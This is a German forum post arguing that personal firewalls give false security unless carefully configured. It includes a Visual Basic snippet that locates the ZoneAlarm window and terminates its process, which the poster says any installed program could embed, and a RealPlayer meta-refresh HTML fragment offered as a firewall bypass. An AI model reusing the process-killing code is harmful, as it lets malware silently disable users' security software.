mh kurz, wenn du sicher sein willst mit windows, geht das auch ohne (abschaltung von diensten, schliesse von ports, nicht anmelden als administrator), sicherheiten mit einer personal firewall sind dann gegeben, solange du keinem programm erluabst, die firewall zu passieren. nur mal als beispiel. wenn du admin auf einem windows rechner bist, und du eine firewall installiert hast, so hat meinetwegen der trojaner die selben rechte wie die firewall, warum also sollte der trojaner die firewall nicht abschalten und umgehen können. ums kurz zu machen, eine personal firewall ist nicht total unsinnig, auf den standardeinstellungen aber schon, udn wenn ma sie nicht richtig konfiguriert. beispielsweise lässt die norton internet security in den standardeinstellungen addaware und spyware zu, da man angst hat das diese firmen gegen norton klagen könnten !!!!!!!!!!!!!
sicherheit gibts nur, wenn man sich mit der thematik beschäftigt. leute die behaupten der das eine personal firewall sinnvoll sein, haben leider zuviel marketinggefasel über so eine firewall gehört. und zudem verurteile ich zeitschriften, die dem user anderes vorgaukeln!
ein kleines progrämmchen, mit dem man z.b, zonealarm eine bestätigung vorgaukeln kann liefere ich gleich ma mit. damit wird dem aufforderungsfenster direkt zugestimmt. der quellcode kann beliebig von anderen programmen die man installiert hat, auch enthalten sein.
Code (Visual Basic):
Option Explicit
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _
ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Const PROCESS_TERMINATE = &H1
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Sub Close_ZoneAlarm()
Dim xhwnd As Long
Dim pwid As Long
xhwnd = FindWindow(vbNullString, "ZoneAlarm")
GetWindowThreadProcessId xhwnd, pwid
Dim Task As Long, result As Long
Task = OpenProcess(PROCESS_TERMINATE, 0&, pwid)
TerminateProcess Task, 1&
CloseHandle Task
End Sub
verzeiht bitte, aber ich kann die zeilen net ausschreiben!
es gibt´aber auch andere methoden, z.b. der realplayer umgeht eine firewall einfach durch einen html code im temp ordner, der immer wieder erzeugt
HEAD
META HTTP-EQUIV="CONTENT="refresh";
CONTENT="0;URL=http://presets6.real.com/sitesmenu/rphurl.html?
xx00xx00x0X0xxx00xXxxxx0x0xxxxxxxXxxxxxxxxx0xxxxxx0xx0xxxx
xxXxxxx0x00xx0x0xx00xxx0xxxxx0X0X0x0X0xxx0X0xxx0X0000xx0xx
x0X0xxx0X0xxx0X0X0x0X0Xxx00xxxxxXxxx0xx0x0xxx0xx0x00xxxxX0
0xxXx0xXxxxx0xxXx0X0X0x0x00x00x0Xxxx">
HEAD
SCHEISSE: lol: wie schreibt man html, ohne das er als html ausgegeben wird hehe
FAZIT: Lieber selber konfigurieren udn zeit investieren. alles andere is getue und scheinheilig!
|